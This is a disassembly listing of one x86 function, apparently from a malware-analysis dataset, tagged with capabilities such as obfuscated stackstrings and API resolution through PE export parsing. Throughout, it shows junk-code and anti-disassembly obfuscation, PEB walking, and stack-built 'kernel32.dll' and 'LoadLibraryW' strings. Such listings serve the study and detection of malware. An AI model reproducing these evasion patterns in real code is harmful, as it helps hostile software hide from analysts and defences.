Function at 0x478fc0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
push esi
jmp 0x4778dc
or esi, 0xb5ce
pop esi
push edx
add edx, 0x7fbc
or edx, 0x14aee
pop edx
cmp dword [ebp - 0xef0], 0
jne 0x477909
mov dword [ebp - 0x3b0], 0
jmp 0x477b69
mov ecx, dword [ebp - 0xef0]
mov dword [ebp - 0x5e8], ecx
push eax
sub eax, 0x9aa4
pop eax
push edi
push edi
add esp, 4
add edi, 0x10bf2
jmp 0x47792d
xor edi, 0xd4c6
pop edi
push edi
push eax
add esp, 4
jmp 0x477940
or edi, 0x14371
pop edi
lea edx, [ebp - 0x14bc]
mov dword [ebp - 0xeec], edx
mov eax, dword [ebp - 0x5e8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xee8], ecx
xor edx, edx
mov word [ebp - 0x270], dx
xor eax, eax
mov word [ebp - 0x140], ax
push ecx
push esi
add esp, 4
xor ecx, 0x84dd
pop ecx
push eax
and eax, 0x17941
jmp 0x47798d
jmp 0x477996
call fcn.004779a2
add byte [ebx + 0x45], al
cmp dword [esi], edi
dec esp
xor eax, dword [ebx - 0x74a7fb3c]
add esp, 4
pop eax
invalid
lea ebx, [eax]
int1
invalid
push ecx
sub ecx, 0x66a6
xor ecx, 0x574b
xor ecx, 0x9760
or ecx, 0x1694d
pop ecx
push eax
push ecx
add esp, 4
add eax, 0x15fee
add eax, 0x3c14
or eax, 0x130af
pop eax
cmp dword [ebp - 0x3b0], 0
jne 0x4784b5
mov eax, 0x6b
mov word [ebp - 0x1bcc], ax
mov ecx, 0x65
mov word [ebp - 0x1bca], cx
mov edx, 0x72
mov word [ebp - 0x1bc8], dx
mov eax, 0x6e
mov word [ebp - 0x1bc6], ax
mov ecx, 0x65
mov word [ebp - 0x1bc4], cx
mov edx, 0x6c
mov word [ebp - 0x1bc2], dx
push eax
or eax, 0x14913
xor eax, 0x10194
or eax, 0x5df
add eax, 0x3831
pop eax
push esi
push esi
add esp, 4
add esi, 0x6227
pop esi
push edi
push ecx
add esp, 4
xor edi, 0xac96
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x2400], ecx
mov edx, dword [ebp - 0x2400]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x2404], eax
mov ecx, dword [ebp - 0x2404]
mov dword [ebp - 0x19e8], ecx
push ecx
push ebx
add esp, 4
xor ecx, 0x11f81
jmp 0x478522
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x18138
and ecx, 0xe043
and ecx, 0x10146
add ecx, 0xbef
pop ecx
cmp dword [ebp - 0x19e8], 0
jne 0x478559
mov dword [ebp - 0x3b0], 0
jmp 0x478800
mov edx, dword [ebp - 0x19e8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xf0c], ecx
push eax
push eax
add esp, 4
call 0x47857f
add byte [edi], bh
inc esi
xor edi, dword [eax]
inc edx
inc ebp
inc ecx
inc edx
dec eax
add esp, 4
xor eax, 0xb7dc
pop eax
push ebx
or ebx, 0x501e
or ebx, 0x3193
jmp 0x47859c
pop ebx
cmp dword [ebp - 0xf0c], 0
jne 0x4785b5
mov dword [ebp - 0x3b0], 0
jmp 0x478800
mov edx, dword [ebp - 0xf0c]
mov dword [ebp - 0x5f0], edx
push ecx
or ecx, 0x178ee
and ecx, 0x14fca
pop ecx
push ecx
sub ecx, 0x8f1e
xor ecx, 0x143a5
add ecx, 0x1176d
call 0x4785ef
add byte [eax + 0x45], dl
xor al, byte [edi + 0x47]
cmp al, byte ss:[ebx - 0x72a6fb3c]
test dword [ebx + ebp*8 - 1], eax
dec dword [ecx - 0xf077b]
dec dword [ebx - 0x5ef73]
dec dword [ebx - 0x6a76cfaf]
cld
invalid
push ecx
xor ecx, 0x18471
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x37bb
pop edx
push edi
push ebx
add esp, 4
xor edi, 0xd01d
add edi, 0x507d
sub edi, 0x105e3
or edi, 0x3fdc
pop edi
mov ecx, dword [ebp - 0x3b0]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x410], edx
push ebx
push edi
add esp, 4
call 0x478855
add byte [eax + 0x4b], dl
inc ebp
xor esi, dword [edx + esi]
xor dh, byte [esp + ecx*2]
add esp, 4
pop ebx
push esi
and esi, 0x1710
sub esi, 0x2d72
and esi, 0x42cf
xor esi, 0x15990
pop esi
mov dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x19f4], eax
cmp dword [ebp - 0x19f4], 0
jne 0x4788a3
mov ecx, dword [ebp - 0x8e0]
mov dword [ebp - 0x5f4], ecx
jmp 0x478b94
mov edx, dword [ebp - 0x19f4]
mov eax, dword [ebp - 0x410]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x19c0], eax
jne 0x4788cb
mov ecx, dword [ebp - 0x8e0]
mov dword [ebp - 0x5f4], ecx
jmp 0x478b94
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x19c0]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x19f8], edx
cmp dword [ebp - 0x19f8], 0
jne 0x4788fd
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x5f4], eax
jmp 0x478b94
mov ecx, dword [ebp - 0x410]
add ecx, dword [ebp - 0x19f8]
mov dword [ebp - 0x8d4], ecx
jne 0x478922
mov edx, dword [ebp - 0x8e0]
mov dword [ebp - 0x5f4], edx
jmp 0x478b94
mov eax, dword [ebp - 0x8d4]
mov ecx, dword [ebp - 0x410]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x2408], ecx
mov edx, dword [ebp - 0x8d4]
mov eax, dword [ebp - 0x410]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x2410], eax
mov ecx, dword [ebp - 0x8d4]
mov edx, dword [ebp - 0x410]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x2414], edx
mov dword [ebp - 0x8d8], 0
jmp 0x47897c
mov eax, dword [ebp - 0x8d8]
add eax, 1
mov dword [ebp - 0x8d8], eax
mov ecx, dword [ebp - 0x8d4]
mov edx, dword [ebp - 0x8d8]
cmp edx, dword [ecx + 0x18]
jae 0x478b88
mov eax, dword [ebp - 0x8d8]
mov ecx, dword [ebp - 0x2408]
mov edx, dword [ebp - 0x410]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x8dc], edx
mov eax, dword [ebp - 0x8d8]
mov ecx, dword [ebp - 0x2410]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x2414]
mov ecx, dword [ebp - 0x410]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x2418], ecx
mov dword [ebp - 0x1fc], 0
jmp 0x4789ec
mov edx, dword [ebp - 0x1fc]
add edx, 1
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 0x8dc]
add eax, dword [ebp - 0x1fc]
movsx ecx, byte [eax]
test ecx, ecx
je 0x478a9e
mov edx, dword [ebp - 0x1fc]
movsx eax, byte [ebp + edx - 0xddc]
test eax, eax
je 0x478a9e
push edx
jmp 0x478a22
jmp 0x478a28
jmp 0x478a2f
pop edx
push edx
push ecx
add esp, 4
jmp 0x478a3a
call 0x478a47
add byte [ebx], bh
inc ebx
aaa
dec edx
inc esi
dec edx
cmp eax, 0x5a04c483
mov ecx, dword [ebp - 0x8dc]
add ecx, dword [ebp - 0x1fc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1fc]
movsx ecx, byte [ebp + eax - 0xddc]
cmp edx, ecx
je 0x478a90
mov edx, dword [ebp - 0x8dc]
add edx, dword [ebp - 0x1fc]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1fc]
movsx edx, byte [ebp + ecx - 0xddc]
cmp eax, edx
jne 0x478a97
jmp 0x4789dd
jmp 0x478a9e
push edx
xor edx, 0x9fbb
call 0x478ab2
add byte [esp + edi + 0x32], cl
inc edx
xor edi, dword [eax*2 + 0x5a04c483]
push esi
or esi, 0x11de7
xor esi, 0xe78d
and esi, 0x14c3d
add esi, 0x1489a
pop esi
mov eax, dword [ebp - 0x8dc]
add eax, dword [ebp - 0x1fc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1fc]
movsx eax, byte [ebp + edx - 0xddc]
cmp ecx, eax
jne 0x478afd
mov dword [ebp - 0xf10], 0
jmp 0x478b6c
push ecx
xor ecx, 0x8715
pop ecx
push edi
push eax
add esp, 4
and edi, 0x15b86
or edi, 0x13f0b
pop edi
push edi
push edi
add esp, 4
sub edi, 0x19b8
sub edi, 0xc0dd
sub edi, 0x15b8b
pop edi
mov ecx, dword [ebp - 0x8dc]
add ecx, dword [ebp - 0x1fc]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1fc]
movsx ecx, byte [ebp + eax - 0xddc]
or ecx, 0x20
cmp edx, ecx
jge 0x478b62
mov dword [ebp - 0xf10], 0xffffffff
jmp 0x478b6c
mov dword [ebp - 0xf10], 1
cmp dword [ebp - 0xf10], 0
jne 0x478b83
mov edx, dword [ebp - 0x2418]
mov dword [ebp - 0x5f4], edx
jmp 0x478b94
jmp 0x47896d
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x5f4], eax
mov ecx, dword [ebp - 0x5f4]
mov dword [ebp - 0xc68], ecx
push 0
push 2
call dword [ebp - 0xc68]
mov dword [ebp - 0xfa0], eax
push edx
and edx, 0x18322
add edx, 0x7cd6
add edx, 0x16fde
sub edx, 0xf28b
pop edx
push edi
push eax
add esp, 4
or edi, 0x17213
add edi, 0x2dfd
add edi, 0x30ad
pop edi
mov edx, dword [ebp - 0x2618]
mov dword [ebp - 0xc64], edx
push edx
push esi
add esp, 4
or edx, 0xe2fd
or edx, 0x5f0
xor edx, 0x9d54
sub edx, 0xb31f
pop edx
push edi
xor edi, 0x17a55
or edi, 0x5063
or edi, 0x6976
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x241c], eax
mov ecx, dword [ebp - 0x241c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x2420], edx
mov eax, dword [ebp - 0x2420]
mov dword [ebp - 0x19fc], eax
push eax
xor eax, 0x7ab9
xor eax, 0xa872
pop eax
push edx
push edi
add esp, 4
call 0x478c69
add byte [ebx + 0x43], cl
aas
dec ebx
aas
inc esi
cmp byte [edx + 0x47], al
add esp, 4
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0x7ac2
pop ecx
cmp dword [ebp - 0x19fc], 0
jne 0x478c91
mov dword [ebp - 0x3b4], 0
jmp 0x478f38
mov ecx, dword [ebp - 0x19fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xf1c], eax
push edi
push esi
add esp, 4
and edi, 0x118a
jmp 0x478cb6
xor edi, 0xd4b9
pop edi
push edi
push edi
add esp, 4
add edi, 0xb872
pop edi
push ebx
push edx
add esp, 4
xor ebx, 0xdaa1
pop ebx
cmp dword [ebp - 0xf1c], 0
jne 0x478ced
mov dword [ebp - 0x3b4], 0
jmp 0x478f38
mov ecx, dword [ebp - 0xf1c]
mov dword [ebp - 0x5f8], ecx
push ecx
push edx
add esp, 4
call 0x478d0a
add byte [edx + esi + 0x3e], cl
cmp al, 0x3a
inc edx
add esp, 4
pop ecx
push ecx
push edx
add esp, 4
call 0x478d21
add byte [edx], bh
xor eax, 0x3b394844
cmp dword ds:[ebx - 0x1e7efb3c], eax
or eax, 0x590000c5
lea edx, [ebp - 0x14bc]
mov dword [ebp - 0xf18], edx
mov eax, dword [ebp - 0x5f8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xf14], ecx
xor edx, edx
mov word [ebp - 0x27c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
push ecx
add esp, 4
jmp 0x478d60
sub eax, 0x156c4
xor eax, 0x15d
pop eax
push edi
or edi, 0x9896
or edi, 0x16e31
add edi, 0x13d5e
add edi, 0x6d6e
pop edi
mov ecx, dword [ebp - 0xf14]
mov dx, word [ecx]
mov word [ebp - 0x1362], dx
mov eax, dword [ebp - 0xf14]
add eax, 2
mov dword [ebp - 0xf14], eax
mov cx, word [ebp - 0x1362]
mov word [ebp - 0x27c], cx
mov edx, dword [ebp - 0xf18]
mov ax, word [edx]
mov word [ebp - 0x1364], ax
mov ecx, dword [ebp - 0xf18]
add ecx, 2
mov dword [ebp - 0xf18], ecx
mov dx, word [ebp - 0x1364]
mov word [ebp - 0x38], dx
push ebx
push edi
add esp, 4
xor ebx, 0x76b4
xor ebx, 0xa3a1
pop ebx
push ecx
push ebx
add esp, 4
jmp 0x478dfa
or ecx, 0x511f
pop ecx
push ecx
jmp 0x478e09
xor ecx, 0xe731
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x478e2d
movzx ecx, word [ebp - 0x27c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1a04], ecx
jmp 0x478e87
movzx eax, word [ebp - 0x27c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x478d55
movzx edx, word [ebp - 0x27c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x478d55
movzx ecx, word [ebp - 0x27c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x478e71
mov dword [ebp - 0x1a00], 0xffffffff
jmp 0x478e7b
mov dword [ebp - 0x1a00], 1
mov eax, dword [ebp - 0x1a00]
mov dword [ebp - 0x1a04], eax
cmp dword [ebp - 0x1a04], 0
jne 0x478ed0
push edi
jmp 0x478e98
add edi, 0x12fd5
pop edi
push ebx
push esi
add esp, 4
call 0x478eb2
add byte [edx + 0x4f], al
inc eax
cmp eax, 0x39343b3f
add esp, 4
add ebx, 0x3038
and ebx, 0xd1c3
pop ebx
mov ecx, dword [ebp - 0x5f8]
mov dword [ebp - 0x3b4], ecx
jmp 0x478f38
push ebx
push edi
add esp, 4
jmp 0x478edb
xor ebx, 0x47b
and ebx, 0xc2ea
pop ebx
push edi
call 0x478ef8
add byte [esi], bh
dec esi
aaa
cmp eax, 0x4b394346
aaa
add esp, 4
and edi, 0x5f08
pop edi
mov edx, dword [ebp - 0x5f8]
mov eax, dword [edx]
mov dword [ebp - 0x5f8], eax
mov ecx, dword [ebp - 0x5f8]
cmp ecx, dword [ebp - 0xf1c]
je 0x478f2e
mov edx, dword [ebp - 0x5f8]
cmp dword [edx + 0x30], 0
jne 0x478cf9
mov dword [ebp - 0x3b4], 0
push esi
or esi, 0x12f79
pop esi
push edi
push ecx
add esp, 4
and edi, 0xe69e
and edi, 0x15975
pop edi
push ebx
push edx
add esp, 4
and ebx, 0xaa9f
xor ebx, 0x15e14
jmp 0x478f69
pop ebx
cmp dword [ebp - 0x3b4], 0
jne 0x47986f
mov eax, 0x6b
mov word [ebp - 0x1be8], ax
mov ecx, 0x65
mov word [ebp - 0x1be6], cx
mov edx, 0x72
jb 0x478f92
add byte [eax], al
mov word [ebp - 0x1be4], dx
mov eax, 0x6e
mov word [ebp - 0x1be2], ax
mov ecx, 0x65
mov word [ebp - 0x1be0], cx
mov edx, 0x6c
mov word [ebp - 0x1bde], dx
mov eax, 0x33
xor eax, dword [eax]
add byte [eax], al
mov word [ebp - 0x1bdc], ax
mov ecx, 0x32
mov word [ebp - 0x1bda], cx
mov edx, 0x2e
mov word [ebp - 0x1bd8], dx
mov eax, 0x64
mov word [ebp - 0x1bd6], ax
mov ecx, 0x6c
mov word [ebp - 0x1bd4], cx
mov edx, 0x6c
mov word [ebp - 0x1bd2], dx
xor eax, eax
mov word [ebp - 0x1bd0], ax
push ebx
push edx
add esp, 4
or ebx, 0x15705
pop ebx
push ecx
add ecx, 0x2c1e
pop ecx
push edi
push esi
add esp, 4
add edi, 0x15b2
xor edi, 0x1d88
xor edi, 0x753
sub edi, 0x1734d
pop edi
mov byte [ebp - 0xb4c], 0x4c
mov byte [ebp - 0xb4b], 0x6f
mov byte [ebp - 0xb4a], 0x61
mov byte [ebp - 0xb49], 0x64
mov byte [ebp - 0xb48], 0x4c
mov byte [ebp - 0xb47], 0x69
mov byte [ebp - 0xb46], 0x62
mov byte [ebp - 0xb45], 0x72
mov byte [ebp - 0xb44], 0x61
mov byte [ebp - 0xb43], 0x72
mov byte [ebp - 0xb42], 0x79
mov byte [ebp - 0xb41], 0x57
test dword [edi + 0x57fffff4], edi
mov byte [ebp - 0xb40], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x2424], ecx
mov edx, dword [ebp - 0x2424]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x2428], eax
mov ecx, dword [ebp - 0x2428]
mov dword [ebp - 0x1a08], ecx
push edx
push edi
add esp, 4
or edx, 0xf528
pop edx
push ecx
push ebx
add esp, 4
xor ecx, 0x4962
sub ecx, 0x31dc
pop ecx
push eax
or eax, 0xf7f8
pop eax
push ecx
push edx
add esp, 4
or ecx, 0x170e6
pop ecx
cmp dword [ebp - 0x1a08], 0
jne 0x47910f
mov dword [ebp - 0x8e4], 0
jmp 0x4793b6
mov edx, dword [ebp - 0x1a08]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xf28], ecx
push ecx
jmp 0x47912b
xor ecx, 0x799e
jmp 0x479138
sub ecx, 0xf0d4
pop ecx
push ecx
and ecx, 0x15ad0
sub ecx, 0xc69e
xor ecx, 0x7429
pop ecx
cmp dword [ebp - 0xf28], 0
jne 0x47916b
mov dword [ebp - 0x8e4], 0
jmp 0x4793b6
mov edx, dword [ebp - 0xf28]
mov dword [ebp - 0x5fc], edx
push edx
push edx
add esp, 4
or edx, 0xc294
and edx, 0x533d
sub edx, 0x10172
sub edx, 0xbc10
pop edx
push esi
sub esi, 0xf1a7
pop esi
push edi
push edi
add esp, 4
and edi, 0x4ea1
pop edi
lea eax, [ebp - 0x1be8]
mov dword [ebp - 0xf24], eax
mov ecx, dword [ebp - 0x5fc]
mov edx, dword [ecx + 0x30]
invalid
xchg ebp, eax